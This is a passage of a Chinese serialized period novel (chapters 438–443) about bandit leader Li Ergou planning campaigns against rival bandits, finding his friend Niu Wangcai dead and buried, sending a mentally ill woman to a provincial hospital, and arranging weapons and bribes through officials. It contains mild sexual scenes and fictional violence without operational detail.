大家发出一阵更大的哄笑声,陈老三不仅不恼,反而笑着说道:“别人帮忙肯定不行,狗哥嘛,还是可以的,哈哈。” 望冬坐在陈老三旁边,虽然她内心十分愿意李二狗帮这个忙,但面对众人的哄笑,她还是羞得恨不得找个地缝钻进去。 她狠狠地掐了陈老三几下,痛得陈老三不停地求饶,大家又是一阵哄笑。 “好了,都别闹了!说正事。” 议事厅内顿时安静下来,大家又握紧笔,低头认真记录。 第438章 人家还想要嘛 “孙县长已经答应支援咱们山寨一批武器弹药,有迫击炮和轻重机枪,另外,我准备明天亲自去一趟省城,想办法再购买一批武器弹药回来。” 众人一听有这些硬家伙,腰杆子立马硬了起来。 江东县大部分土匪山寨连老套筒都稀缺,平常只能靠大刀长矛打家劫舍,现在用迫击炮、机枪去剿灭他们,实在是太过容易! 陈老三抢先说道:“狗哥,你倒是早说啊,咱们手里有了这些硬家伙,攻打几个小山寨那还不是手到擒来?我看这件事就不用麻烦兄弟们了,我一个人带领清风寨的兄弟就办了。” 李二狗知道陈老三心中打的什么如意算盘,攻下一座山寨,仅顺手牵羊就可以捞到很多好处。 对于这种行为,李二狗心知肚明,但他懂得水至清则无鱼的道理。 如果不睁一只眼闭一只眼,那大家的积极性将会大打折扣,只要他们做的不是太过分,李二狗不会追究。 “老三,你他娘的鹌鹑插鸡毛——装什么大尾巴鹰?什么事都让你干喽,还要我们这些人干什么?” 陈老三被李二狗一骂,只能咧着嘴傻笑。 “嘿嘿,狗哥你别生气嘛,我只是随口一说,最后怎么做还是得听你的不是?” “老三,你狗日的给我记住喽,不是听我的,是听寨务会的,我们任何人都不能凌驾于寨务会之上,这是原则!决不能打任何折扣!” “对对对,听寨务会的,听寨务会的,嘿嘿。” 李二狗瞪了陈老三一声,继续说道:“各个山寨回去之后,拿出一个具体的剿灭方案出来。大家记住,咱们这是杀鸡儆猴,千万不要贪多,我建议一个山寨的剿灭数量不能超过五个。打仗打的是钱,咱们可没有那么多的炮弹子弹。” “狗哥,是不是给各个山寨划个范围出来?这样不会有重复的。” 秀才一张口就说到了点子上。 这也侧面说明秀才是一个有才华的人,这样的人即使身上有不少缺点,但也一定要用。 用好了,就是领导的左膀右臂! “秀才的建议非常好,我建议就以清风寨为分界线,清风寨以北的区域,由清风寨负责;以南的区域由青山寨负责;江东县周边的区域由霸虎寨负责,大家还有什么意见没有?” “既然大家都没有意见,那三天后中午十二点之前,把剿灭方案交到望冬那里。我再提醒大家一句,做剿灭方案之前一定要做好现场调研,决不能拍脑袋决定!” 李二狗看向众人,大家都低着头认真记录,他继续说道:“这件事就研究到这,咱们下面研究下一个事情。” “最近我发现有些兄弟的脑袋出现了问题,在一定程度上出现了享受主义、奢靡主义和形式主义的苗头。” 李二狗特意看了秀才一眼,他虽然低着头,但额头上的汗水却哗哗地往下掉。 但李二狗不会点秀才的名,一来是得给他留面子,二来在座的其他人也或多或少存在这种问题,李二狗不点名,他们就会反思自己的行为。 “兄弟们,出现这种苗头,可太可怕了。咱们山寨经过这两年的努力,确实有了一定的积蓄,但如果这时候我们就骄傲自满,以为可以高枕无忧,开始贪图享乐,脱离山寨中下层的兄弟,那后果是什么大家想过吗?洪秀全是怎么失败的,难道大家都忘了吗?” 议事厅内静极了,大家连喘息声都在刻意压制着,生怕自己引起其他人的注意。 “大家回去之后,每个人都要深刻反思自己身上存不存在这种问题,包括我本人在内,都要进行认真的反思,下次寨务会上,我们每个人都要进行发言,寻找自己身上存在的问题。” “另外,为了防止灯下黑,大家看不到自身的缺点,我建议我们每个人都要对其他人提出两条批评意见。” “批评意见必须中肯,必须真实,绝不允许造谣中伤或者糊弄了事。” 李二狗习惯性地环视一圈,接着问道:“大家有没有意见?有的话现在就可以提出来。” 没有一个人提反对意见,也没人敢提反对意见。 “大家还有其他事情要汇报吗?如果没有的话,那就散会,下次寨务会在一周之后召开,大家都回去准备吧。” 散会后,大家都低着头,快速离开了议事厅。 “望冬,你说狗哥刚才说的人是谁?不会是在说我吧?” 陈老三越想越觉得李二狗是在说自己。 “是不是你,你心里没数吗?” “哎,什么都逃不过狗哥的眼睛,你说他咋什么都知道呢?不会是你告诉他的吧?” “滚蛋!我是你婆姨,我能胳膊肘往外拐吗?” 陈老三挨了骂,心里却像吃了蜜一样甜。 “嘿嘿,现在狗哥对你越来越重视,我都有点吃醋了。” 陈老三摸着脑袋说着一些不着四六的话。 “狗哥对我重视,一来是看素文姐的面子,二来是看你的面子,你脑袋是不是被驴踢了?这么简单的道理都想不明白?难道狗哥重视我,你还不愿意?” 陈老三连连摆手道:“没有没有,我当然愿意,嘿嘿。” 开完寨务会之后,李二狗回到家,和李素文见缝插针地温存了一会儿。 完事之后,抚摸着李素文光滑细腻的脊背,李二狗说道:“素文,今晚我不能在这住,还得赶回胡家大院。” 心里还盘算着再来一次的李素文,有些不满地问道:“天都快黑了,你还回去干什么?我还让你吃不饱啊?哼!” 李二狗捏了一把李素文,笑道:“你真小心眼,胡家大院出了点事,我必须得赶回去处理。” “哼,不要走好不好?人家还想要嘛!” 李素文难得地在李二狗怀里撒起了娇,弄得他心里一阵骚痒。 “放心,走之前我一定喂饱你!” “嘿嘿,你真讨厌!” 两人再次翻滚到一起! 李二狗回到胡家大院时已是满天繁星。 第439章 我真得不想活了 张二驴一直站在院门口翘首以盼李二狗归来。 看到张二驴着急的样子,李二狗就知道肯定出事了。 “狗哥,你可回来了。” 张二驴急忙上前,接过李二狗手中马的缰绳。 “还没找到牛旺财吗?” “没有,留在那里看守的兄弟说,一直没见他回去。” 李二狗心想,难道牛旺财回家了? 如果没回家,又去妓院了? 想到牛旺财包了小桃红一个月,他不可能再回妓院寻欢作乐! “二驴,你看好大院,我出去一趟。” “狗哥,要不要派两个人跟你一起去?” “不用,我去去就回。” 李二狗来到牛旺财家门口,看到春花抱着牛犊子正蹲在门口的墙根下哭泣。 “春花,怎么在这哭?” 春花见到李二狗就像见到了大救星一般,她从地上挣扎着爬起来,一把拉住李二狗的胳膊。 “二狗,你可算来了,”春花手指向院子,“他们……他们……呜呜……” 这时,院子里传来一阵喧嚣声和嬉笑声。 李二狗进入院子,看到有几个地痞流氓正坐在院子里喝酒,地上一片狼藉。 “你们是什么人?”李二狗喝问道。 几个人纷纷看向李二狗,其中一个光头的男子嘴里叼着一个烟卷,手里端着一个酒杯,乜斜着眼看了李二狗一眼。 “你是什么人?” 原来这些人都是江东县的地痞流氓,根本不认识在仙人洞镇大名鼎鼎的李二狗。 “我是什么人并不重要,你们是什么人?为什么来这个院子里撒野?” 跟在李二狗身后的春花拉了拉李二狗的衣角,轻声说道:“他们说牛旺财欠他们很多的钱,他们找不到牛旺财就找到家里来了。” “请你们立刻离开这里,否则别怪我不客气了!” 光头男没想到李二狗一个白面书生说话竟如此霸道。 “你他娘的鹌鹑插鸡毛——装什么大尾巴鹰?” 李二狗听到光头男说出自己刚刚骂陈老三的话,顿时忍不住乐了。 光头男以为李二狗在表达对他的轻蔑,便挥拳打向李二狗,却被李二狗轻易闪身躲过了。 “吆喝,还是个练家子!” 光头男从李二狗刚才的躲闪动作看出他身上有武功底子,但仗着他们人多,并不惧怕李二狗。 “我再说一遍,请你们马上离开这个院子。” “牛旺财欠老子的钱,今天要是不还钱,老子不仅不走,还要没收了这个破院子!” “牛旺财到底欠你们多少钱?” 光头男伸出一个手指头,轻蔑地说道:“一千块大洋!” 李二狗心中倒吸一口凉气,他没想到牛旺财竟欠这么多钱! “借条拿来我看看!” 光头男冷笑一声,从兜里掏出一张借条。 李二狗接过借条,看到上面写着:今借大洋五百元,两个月后连本带利还大洋一千元。牛旺财。 牛旺财名字上面还摁有一个红手印。 李二狗冷笑道:“借了你们五百块大洋,这才两个月就翻了一倍,你们怎么不去抢?” “我们没有勉强他,是他自己愿意借的,白纸黑字还有摁的手印,难道还想抵赖吗?” 牛旺财现在不见踪影,李二狗并不知道到底是什么情况。 “牛旺财欠你们的钱,你们去找他要!请你们马上离开这里,否则我就告你们私闯民宅!” “哈哈哈哈……” 几个人同时哈哈大笑起来,站成一圈,把李二狗和春花围在了中央。 “你小子到底是什么人?为什么要管这个闲事?难道是这个小媳妇的相好吗?哈哈哈哈……” “我再说最后一遍,你们马上离开这里!” “我尼玛……” 光头男刚要挥起拳头打向李二狗,李二狗手里的手枪已经顶在他的脑门上。 “兄弟,兄弟,咱们有话好好说,千万不要动枪,以免擦枪走火!” “我数三声,你们要是再不走,就别怪老子不客气了!一,二……” “我走,我走,”光头男吓得满脑门子汗,“我们走!” 几个人跑到院门口,光头男转身威胁道:“如果明天再不还钱,老子就把这院子一把火烧了!” “砰,砰,砰!” 李二狗冲天连开三枪,几个地痞流氓吓得狼狈而逃。 “哇,哇,哇……” 牛犊子在春花怀里被吓得哇哇大哭起来。 春花顾不上哄牛犊子,此时的她双目呆滞,凝视着院门外,胸口剧烈地起伏着,只听到急促的喘息声。 李二狗担心她憋坏身体,赶忙上前安慰道:“春花,没事了,他们都走了!” 说着他从春花手中接过牛犊子,神奇的一幕发生了。 刚刚还被吓得哇哇大哭的牛犊子竟停止了哭泣,一只小手抚摸着李二狗有些发青的胡渣子,咿咿呀呀地笑了起来。 正当李二狗享受父子亲情之时,突然,春花“哇”的一声,扑到李二狗怀里。 “二狗,以后我的日子可怎么过啊?要不是有牛犊子,我真得不想活了!呜呜……” 李二狗抬起手,犹豫了一下,还是抚摸着春花的头发安慰道:“春花,你放心,有我在,没人能伤害到你们。” 春花眼中含泪,心中含情,如果李二狗是他的丈夫,她一定会是这个天底下最幸福的女人。 可他不是! 她的丈夫是牛旺财! 一个已经消失了十几天的大烟鬼! 想到这,她哭得更凶了! 李二狗想到这群地痞流氓不可能善罢甘休,便说道:“春花,你马上收拾东西给我走,这里不能再住了。” 春花没有丝毫犹豫,立马进屋收拾了一些衣物,跟着李二狗出了门。 李二狗带着春花母子二人来到自己在仙人洞镇的家。 “这……这是什么地方?” 春花见院子建的十分气派,便犹豫着不敢进屋。 李二狗立马猜到春花的心思,便说道:“这是我买的一处院子,平时没有人住,你和牛犊子就安心在这里住下吧。” 春花没想到这才短短两年时间,李二狗就从一个一无所有的穷小子变成了仙人洞镇赫赫有名的人物,她悔得肠子都青了。 第440章 牛旺财神秘死亡 “二狗,其实当年我……” 春花想向李二狗解释一下当年的事情,可李二狗没等春花说完便用话打断了她。 “春花,事情都已经过去了,过去的事情就不用再提了。” “牛犊子他……” “我都知道,春花,我现在只希望你和牛犊子能好好的,其他的事情还是等以后再说吧。” 李二狗知道,现在牛旺财杳无音讯,找到他才是当前最重要的事情。 牛犊子趴在春花肩膀上睡着了,屋内的气氛突然变得沉默起来。 “抱孩子早点进屋休息吧,桌上有钱、缸里有米,你们就安心在这里住下,我会常来看你……你们的。” 春花默默地点了点头,此时她非常渴望李二狗今晚能留下来陪她,这个时候她太想找个可以依靠的肩膀。 但李二狗还是转身离开了。 欲买桂花同载酒,终不似,少年游。 李二狗再也不是从前那个没见过世面的穷小子了。 回到胡家大院,依然没有牛旺财的消息。 李二狗心里突然有一种预感,牛旺财肯定是出事了。 想到这,他转身离开胡家大院,径直来到妓院,老鸨子依然是那么热情。 “哎吆,李管家,这是什么风把您吹来了?您快楼上请。” 李二狗没心思和她废话,直接问道:“见没见到牛旺财?” “哎吆,李管家,看您这副严肃的样子,不知道的还以为我欠您二百块大洋呢,您都吓着人家了。” 老鸨子说话的时候直往李二狗身上蹭,这样的财神爷她怎能轻易放过。 “少他娘的废话,快说,到底见没见过牛旺财?” 李二狗一把握住老鸨子的手腕,疼得她嗷嗷直叫唤。 “哎吆,疼死我了,您快松手,我说还不行吗?” 李二狗松开手,厉声催促道:“快说!” “牛爷他包了小桃红一个月,怎么还会来我们这里呢?此刻呀,肯定在小桃红的床上颠龙倒凤呢。” “小桃红家里没有,她还有没有其他住的地方?” 老鸨子一愣,随即说道:“那我就不知道了,小桃红是外地人,以前都是住在店里的。” 李二狗看老鸨子不像在说假话,她也不敢说假话。 他转身就走,急得老鸨子在身后大喊。 “李管家,快活快活再走嘛,哎,还真是一个急脾气的人!” 李二狗来到胭脂巷东首的四合院,胡家大院的一个小厮看到李二狗,急忙从旁边一个隐蔽的角落跑了出来。 “李管家,您来了。” 李二狗问道:“还是没有人回来吗?” 小厮摇摇头,说道:“没有,一直没见有人回来。” “辛苦了,”李二狗拍了拍小厮的肩膀,“回去之后,到账房领三块大洋的赏。” “谢谢李管家,谢谢李管家,这都是我应该做的。” 面对天上掉下来的三块大洋,小厮高兴极了。 “去吧,再守几天。” 说罢,李二狗翻墙进入四合院,里面安静的像个坟场。 他仔细嗅了嗅,空气中并没有血腥的味道。 来到卧室门口,他推门而入,掏出兜里的火链子吹着,点燃了桌上的煤油灯。 床上的被子显得很凌乱,李二狗上前仔细检查了一番,并没有发现什么可疑的地方。 然后他走到衣柜前,打开衣柜,发现里面女人的应季衣服几乎全部不见了,而男人的衣服却还剩下很多。 李二狗皱着眉头,目光落在化妆台的一个首饰盒上。 他快步走过去,打开首饰盒,和他预料的一样,里面的首饰全部不见了。 如果只是少了首饰,还存在其他的可能性。 可如今衣服也都不见了,那只能说明一个问题,是小桃红离开时主动带走的。 只带走了自己的衣服,牛旺财的衣服却没有动,而如今牛旺财却不见了。 李二狗感觉后背一阵发凉,难道牛旺财…… 这时,他突然发现地面上有两道浅浅的划痕。 他急忙拿起桌上的煤油灯,看到这两道划痕并不深,很像是拖人时脚后跟留下的痕迹。 李二狗心下一惊,赶紧用煤油灯照着痕迹往外走,一直来到一个花池旁边,痕迹消失不见了。 他举起煤油灯照了照花池,花池里面的泥土全是新翻动的痕迹,而且花池里的泥土都快溢出花池边沿。 李二狗意识到那种情况,但他还是不愿意相信自己的判断。 “栓子!” 正在门外的小厮栓子听到李二狗的声音,赶紧推门跑了进来。 “李管家,您叫我?” “栓子,你现在马上回大院,让二驴带几个人过来。” 栓子见李二狗神情严肃,赶紧答应一声,便转身跑了出去。 十几分钟后,张二驴带着几个人匆匆赶了过来。 “狗哥,你发现什么了?” 李二狗指了指花池,说道:“把这个花池挖开。” 张二驴赶紧指挥几个小厮挥动铁锹挖了起来,很快就挖到一个人的衣服。 吓得几个小厮脸都变了。 “这……” 之前张二驴也带人进来搜查过,却没有发现异常,而李二狗却发现了,这就是差距,张二驴不得不服。 “把人挖出来!” 李二狗虽然不希望是牛旺财,但花池里埋的人十有八九便是牛旺财。 小厮们很快便把尸体挖了出来,不是别人,正是牛旺财。 “狗哥,这到底是怎么回事啊?” 李二狗看着牛旺财的尸体,心想,他十有八九是因为服食过量壮阳药物导致的猝死,因为作为小桃红的金主,她没有杀死牛旺财的作案动机。 而且从牛旺财的尸体上看,并没有发现明显的伤口。 “二驴,赶紧派人去县警察局报案吧,让他们派人过来调查调查死因。” 李二狗转身的瞬间,泪水从脸颊无声地滑落。 虽然牛旺财是自己作死的,但他毕竟看着李二狗长大,李二狗一直把他当成兄长看待。 可现在他竟…… 他心里默念道:“旺财哥,你就放心走吧,我会替你照顾好春花和牛犊子。” 冷风呜咽着吹过,李二狗不禁打了个寒颤。 第441章 我一切都听你的安排 李二狗一夜未睡。 一大早,张二驴就站在四合院门口等着向李二狗汇报牛旺财的情况。 “狗哥,我已派人去县警察局报了案,可直到现在警察也没有到,你看接下来咱们怎么办?” 在这个兵荒马乱的年月,死一两个人早已是司空见惯的事情,警察根本不会当一回事。 “先派两个兄弟在那里守着吧,等警察来了,看看是什么情况再说。” 李二狗知道,牛旺财身上并没有发现伤口,警察根本不可能查出牛旺财是因为服食过量壮阳药物而引发的猝死。 “那警察来了,我怎么说?” 牛旺财是李二狗的同乡,他们之间微妙的关系令张二驴不知道该如何处理这件事。 “就实话实说吧,等警察调查完之后,给牛旺财打一副上好的棺材送回夹皮沟村。” “牛旺财有妻儿,是不是我去通知她们?” “这些事情就交给我来办吧,你做好我交代你的事就好。还有,我今天稍晚一些要去一趟省城,带二奶奶去看看病,你找一个可靠的丫鬟跟着一起去。” 张二驴对李二狗更加佩服,他真是一个有情有义的男人。 “放心吧,狗哥,我现在就去安排。” 李二狗骑马来到自己在仙人洞的家。 他敲了敲院门,里面很快便传来一阵脚步声。 “谁?” “是我。” 春花立即听出是李二狗的声音,赶紧整理了一下自己的发型和衣服,打开院门。 “二狗,你来了。” 春花说完这话竟显得有些羞涩,一张红润润的圆脸蛋,活像一个溢满乳白色浆汁的红苹果。 李二狗有一种似曾相识的感觉,他显得有些恍惚。 “在这里住的还习惯吗?” 春花难得露出一个笑容,说道:“挺好的,谢谢你,二狗。” 一夜没见,春花仿佛年轻了好几岁,很显然,她刻意打扮了一番自己。 “春花,有件事……”李二狗犹豫了一下,还是决定告诉她,“有件事我必须告诉你,旺财哥他……他死了!” 春花的脸瞬间变了颜色,眼泪在眼眶里打转。 “想哭就哭出来吧,别憋着。” “我早就当这个男人已经死了!” 春花嘴上说的决绝,眼泪却还是忍不住流了下来。 从一开始的抽泣,慢慢变成了嚎啕大哭。 李二狗不知道该如何安慰她,只好从兜里掏出一个手绢送到她面前。 春花没有接,突然扑入李二狗怀中。 李二狗的手停留在半空,最终还是落下来,抱住了春花。 “春花,旺财哥的死因目前还在调查之中,等警察调查之后,我会安排人把他送回村里安葬,你还有什么要求尽管说,我来安排。” 春花哭得身子颤抖着,此时的她就像大海中的一叶浮萍,完全没有了主意。 “他能有你这么一个好兄弟,也算不枉此生了,谢谢你,二狗,我没有别的要求。” 两人就这样抱了很久,李二狗的胸口湿了一大片。 “娘……” 牛犊子突然出现在他们身后,一声奶声奶气的“娘”才让春花赶紧离开了李二狗的怀抱。 李二狗看着牛犊子,心中的舐犊之情更加浓郁。 “春花,如果你和牛犊子想离开这里,我来安排。” 春花很想说,不管在哪里,只要有你就好。 可她没有资格这样说。 “我一切都听你的安排。” 李二狗此时心中已经做出一个决定,他决定把春花和牛犊子带到省城,牛犊子需要接受良好的教育。 “等忙完这段时间,我来接你和牛犊子。” 尽管李二狗没有告诉他接她们母子去哪,但春花还是默默地点了点头。 天地虽大,如今能够让她依仗的只有李二狗一个人。 因为这个男人是牛犊子的亲生父亲。 安抚了春花一番,李二狗骑马来到县城。 这次他没有去孙竹刚家中,而是直接来到县政府。 “二狗,我正要找你。” 孙竹刚见到李二狗显得十分高兴,亲自给他倒了一杯热水。 “大哥,你找我什么事?” “申请剿匪经费的报告已经报给省政府了,还得麻烦兄弟到夏主席那里去活动活动。” 李二狗笑道:“我正准备去省城,正是为了替大哥办这件事。” 孙竹刚激动地握住李二狗的手:“兄弟,大哥都不知道该怎么感谢你了,到家去吧,让你嫂子给你包海鲜馅的饺子吃。” 李二狗眼前浮现出严婆惜扭动腰肢的情景,赶忙说道:“大哥,事不宜迟,我马上就动身去省城,还是改日再去找嫂子吃饺子吧。” “也好,也好,等你回来,咱们哥俩回家好好喝一杯。” “大哥,有件事还需要你给兄弟帮个忙。” “什么帮不帮的?有事尽管说。” 孙竹刚人逢喜事精神爽,开心的眉毛都翘起来了。 “我需要二百套保安团的军服。” 孙竹刚想了想,问道:“什么时候用?目前没有那么多,你也知道,县保安团目前统共也就百十来号人。” “等县政府的通牒到期之后用,来得及吗?” 孙竹刚痛快地说道:“没问题,我马上安排人去做。” “另外,希望大哥能调拨几门迫击炮和几挺轻重机枪给我,大哥请放心,等用完之后我会再还给你。” 孙竹刚虽有些迟疑,但因为有事求李二狗帮忙,只能大度地说道:“什么还不还的?大哥的不就是兄弟的吗?你放心,到时候我派人把迫击炮、机枪和军服一起给你送过去。” 李二狗知道孙竹刚不会拒绝自己,在某种意义上,孙竹刚这个县长已经成为李二狗的傀儡。 “大哥,你对兄弟的情谊我都记在心里了,我现在马上去省城,大哥就在家等着我的好消息吧。” “兄弟等一下。”孙竹刚拿起桌上的一个信封,交到李二狗手里,“这是五根金条,请兄弟送给夏主席。” 李二狗嘴上推脱道:“大哥,这种事我来安排就好了。” “兄弟替大哥办事,哪有再让兄弟破费的道理?快收下!” 李二狗推脱不过,只能收下。 第442章 总有一天我会让你拜倒在我的裙下 李二狗回到县城的家中,开上汽车直奔胡家大院。 张二驴早已安排好了一个伶俐的丫鬟,她扶着张玲玉走出院门,来到汽车旁边。 张玲玉看见汽车,吓得缩成一团。 “我不进去,我不进去,我要去找我的福儿……” 李二狗心里五味杂陈,曾经风华绝代的胡家大院二奶奶竟变成如今这副模样,真是造物弄人! 他走到张玲玉身前,柔声说道:“二奶奶,我带你去找福儿好不好?” “真的吗?太好了,太好了,你可不许骗我哦……” 张玲玉开心地像个孩子。 “我不骗你,你上车,我带你去找。” 张玲玉乖乖地钻入车中,李二狗驾驶着汽车疾驰而去。 “福儿,福儿,你在哪里呀?娘好想你呀……” 张玲玉嘴里一直嘟囔着找福儿,口水流了出来都毫无察觉。 丫鬟见状,赶紧掏出手绢,为她拭去嘴角的口水。 “二奶奶,李管家带咱们去省城找少爷,你乖乖睡觉,不然李管家一生气就不带咱们去了。” 张玲玉急忙说道:“我乖乖睡觉,李管家你不要生气好不好?” 她趴在驾驶室座位后面,呼出的气息有一种发霉的感觉。 “二奶奶,只要你乖乖睡觉,我一定帮你找到福儿,你快睡吧。” 张玲玉开心地手舞足蹈,她闭上眼睛,躺在后座上,很快便睡着了。 李二狗对这个小丫鬟的表现十分满意,但以前只见过她几面,并不知道她的名字,便问道:“你叫什么名字?” “李管家,我叫惜春。” “惜春?那你和迎春?” 惜春笑道:“嘻嘻,我之前和迎春姐姐并不认识,是我来到胡家大院之后才认识她的。” “你来胡家大院几年了?” 惜春说道:“比李管家晚来三个月。” 李二狗没想到惜春竟记得如此清楚,他从后视镜看着惜春,她生得极是清秀,眉眼淡淡,不施粉黛也干净好看。 她鼻梁秀挺,唇色浅淡,笑时唇角微扬,添几分温柔。一头黑发松松挽着,几缕碎发垂在颊边,更显温婉。 她身形纤细却并不孱弱,衣着素净,气质清和如水,不张扬,不艳丽,说话轻声细语,一颦一笑都透着清雅秀气,就像雨后初晴的风,干净柔和,让人一见便心生好感。 李二狗故意问道:“让你来伺候二奶奶,会不会觉得委屈?” 惜春依然是一副开心的模样。 “我不觉得委屈啊!怎么会觉得委屈呢?李管家能让我服侍二奶奶,是李管家抬举我,我高兴还来不及呢。” 惜春说完竟露出一副羞涩的模样,眉眼含笑地盯着李二狗的背影,她并不知道汽车里面有后视镜,还以为李二狗看不见她。 在胡家大院,没有女人不喜欢李二狗! 其实李二狗很喜欢惜春这种活泼可爱的女人,两人一路上有说有笑,很快便到达了省城。 来到医院,张玲玉在车上看见外边有那么多人,吓得躲在车里不敢下来。 李二狗哄了好久,才把她骗下车。 “李先生,您怎么来了?” 李二狗直接带着张玲玉来到院长郑长寿的办公室,这是吴有德开的医院,郑长寿认识李二狗,知道他是吴有德的干儿子。 “郑院长,我有事需要麻烦你帮帮忙。” 郑长寿说道:“李先生,您怎么这么客气?有事您直接吩咐就是。” 李二狗转头看了一眼跟在自己身后的张玲玉,她目光呆滞,噤若寒蝉,就像一个刚刚出生不久的婴儿。 “我的这位朋友前些日子受了强烈的刺激,精神有些失常,麻烦郑院长安排你们医院最好的医生给诊治诊治。” 郑长寿看了看李二狗身后的张玲玉,这个女人虽然有些痴呆,但眉眼间却有一种独特的气质,一看就不是普通人家的女人。 “李先生请放心,我马上安排医院最好的医生给她做一个全面的检查。” “郑院长,太谢谢了,请你一定想尽一切办法治好她的病,有什么要求尽管和我说。” “这是我分内的事,请李先生放心,我一定全力以赴。” 李二狗转身看向张玲玉,哄道:“待会你一定要乖乖的,不要吵闹,不然我就不带你去找福儿了。” 张玲玉连忙点头道:“我乖,我乖,我最乖了,嘻嘻……” 郑长寿叫来一个戴着眼镜的中年医生,向他交待一番,他便带着张玲玉走了。 “郑院长,晚上我再过来,麻烦你先给她办个住院手续。” “李先生放心,这里一切交给我。” 郑长寿一直把李二狗送到楼下,李二狗又给惜春交代了一番,才开车离开医院。 来到吴公馆,刚进院门,便看到孙小雨低着头往外走。 上次李二狗从南方回来,孙小雨被静雯安排去上海出差,并没有见到李二狗。 几个月不见,孙小雨完全变了一副模样,穿着打扮依稀有了静雯的样子。 “小雨!” “狗哥,你什么时候来的?” 孙小雨见到李二狗显得非常激动,她恨不得立马扑到李二狗怀里,可她知道静雯和李二狗的特殊关系,只好压制着内心炽热的情感。 李二狗每次见到孙小雨就会想起慕容雪,内心便传来一阵隐痛。 “小雨,这才多长时间没见,你是越来越漂亮了。”李二狗假装随意地笑道。 孙小雨被李二狗一夸,顿时喜上眉梢。 “狗哥,你又笑话人家,嘻嘻。” “二狗,你啥时候来的?” 静雯突然出现在身后,孙小雨的笑容僵在脸上,随即嘴角又露出一丝浅笑。 “我刚到,干爹在吗?” “干爹不在,”静雯很自然地上前挽住李二狗的胳膊,“咱们回屋说。” 李二狗心知肚明接下来要发生什么,他也正有此意。 “小雨,你自己去公司吧。” 静雯说完,便挽着李二狗的胳膊走了进去。 孙小雨紧咬着嘴唇,委屈的泪水无声地滑落脸颊。 “李二狗,总有一天我会让你拜倒在我的裙下!” 第443章 只要钱不是问题,那一切都不是问题 李二狗和静雯在卧室里大战几百个回合,静雯依然是一副意犹未尽的样子。 她像条水蛇一般缠绕在李二狗身上,紧紧地抱着他不松手。 李二狗有一种被榨干的感觉。 他看了一眼墙上的挂钟,已经下午五点半,便拍了拍静雯的翘臀,笑道:“静雯,咱们留着点力气晚上再战,我还有事,现在得出去一趟。” “哼,能有什么事情比咱俩的事还重要?我不让你走!” 静雯罕见地耍起了小性子。 “哎,我们大院的二奶奶前段时间因为儿子被土匪杀了,整个人疯了,我带着她来省城医院看一看,已经和郑院长约好了时间。” 静雯是一个心地善良的女人,听李二狗如此说,不好再缠着他不放,便趴在在肩头咬了一口,这才意犹未尽地松了手。 “晚上你要补偿我。” 她吐气如兰,口中呼出的气息令李二狗起了一身鸡皮疙瘩。 李二狗玩笑道:“你干脆还把我吃了吧。” “哼,又不是没吃过,”说着,她趴在他耳边呢喃道:“你不是最喜欢我吃你吗?” 静雯几句话就撩拨的李二狗内心一阵躁动。 “你这个吃人的小妖精。” 两人一边穿衣服一边又情不自禁地口舌交战了一番。 “晚上早点回来,我等你。” 离开吴公馆之后,李二狗开车直奔医院。 “情况不是很乐观,”郑长寿神情严肃,“各项检查结果都显示正常,实在检查不出到底是哪里出了问题。” 李二狗显得很失望。 “郑院长,还有其他办法吗?” 这本来是一个在李二狗面前立功的好机会,郑长寿很想好好表现一番,可检查结果却令他大失所望。 郑长寿并不打算就此放弃,他想了想,突然有了一个主意。 “李先生,我们医院没有专业的精神科医生,如果能带着病人去北平或者上海的大医院检查检查,说不定他们会有办法。” 李二狗目前还有很多紧迫的事情需要处理,实在没有多余的时间带张玲玉去北平或者上海看病。 “郑院长,你看能不能把北平或上海医院这方面的专家请到咱们医院来,你放心,钱不是问题。” 郑长寿内心狂喜,只要钱不是问题,那一切都不是问题。 “好的,李先生,我马上想办法联系,一定把国内这个领域最好的医生请过来。” 李二狗拱手道:“那一切就拜托郑院长了。” 郑长寿面对未来主子的夸奖,显得很兴奋。 “李先生千万别客气,这都是我应该做的。” 李二狗来到VIP病房,张玲玉已经躺在病床上睡着了。 “李管家,你来了。” 惜春看到李二狗,脸上依然保持着明媚的笑容。 “惜春,以后就叫狗哥吧。” 在胡家大院,能直接叫李二狗狗哥的人并不多,这个称呼只是少数几个人的特权,意味着什么,惜春心里当然非常清楚。 “狗哥,嘻嘻,”惜春俏皮地向他眨了眨眼,“其实我早就想叫你狗哥了。” 郑长寿安排的这间病房是一个套房,有两间卧室,还有客厅、厨房和卫生间一应俱全。 “惜春,这段时间你还得辛苦一下,在省城照顾好二奶奶。” “狗哥,你就放心吧,我肯定会照顾好二奶奶。” 李二狗从兜里掏出二十块大洋放在桌子上。 “这些大洋你先拿着用,千万别委屈了自己,不够的话,你先去找郑院长要,我都和他提前说好。” 惜春看着桌上的二十块大洋,紧抿着嘴唇,一时有些伤心。 当初她爹为了十块大洋就把她卖到胡家大院当粗使丫鬟,如果早有这二十块大洋,自己也不至于成为供人驱使的下人。 李二狗明白惜春的心思,他也是穷苦人家出身。 “惜春,等这次给二奶奶治完病,我叫大奶奶把你的卖身契送给你。” 惜春完全没有料到李二狗会有如此安排,她激动地跪倒在李二狗身前。 “狗哥,你对我的大恩大德,我实在不知道该如何报答你,我就给你磕三个头吧。” 惜春说着便要给李二狗磕头,被他一把拉住了。 “惜春,咱们都是一样的人,你不必如此,快点起来。” 惜春这是第一次和男人亲密接触,羞得一张脸瞬间红到了耳根。 她的眼睛时不时瞟向另一间卧室,一副娇羞的模样。 李二狗见多识广,一下子便猜到了惜春的心思,他的女人实在是太多了,绝不能再让惜春陷进来。 “惜春,我还有事,先回去了,你照顾好自己和二奶奶,有事就去找郑院长。” 惜春本以为李二狗会把自己抱进卧室,她已做好了心理准备,却没想到他竟要离开。 “狗哥,我……” “照顾好自己。” 李二狗毅然决然地离开了。 惜春默默无语两行泪,问世间情为何物,只让人心碎了无痕! 李二狗离开医院之后,直接回到吴公馆。 吴有德正坐在院子里,很显然在等待李二狗回来。 “干爹,您回来了。” 吴有德手里夹着一根雪茄,指了指身边的椅子。 “坐下说。” “干爹,有件事还得请您老人家帮帮忙。” 吴有德笑道:“我就知道没事求我你不会回来。” “干爹,您这可冤枉我了,我是专门回来看您的,顺便让您老人家帮点忙,嘿嘿。” “你呀,就是长了一张甜嘴,说吧,什么事?” “我想买几门迫击炮,再买十挺机关枪。” 吴有德听到李二狗要买这么多重武器,便问道:“你这又是炮又是机枪的,要做什么?” “江东出响马,手里没有枪炮,睡觉都不安心。” 吴有德行走江湖多年,知道李二狗所言并不是实情,但他不愿意说,自己也不好多问。 “什么时候要?” “三天后可以吗?” 吴有德想了想,说道:“问题应该不大,明天我安排人去联系。二狗,我看你呀还是尽快到省城来,江东那个地方太乱了。” 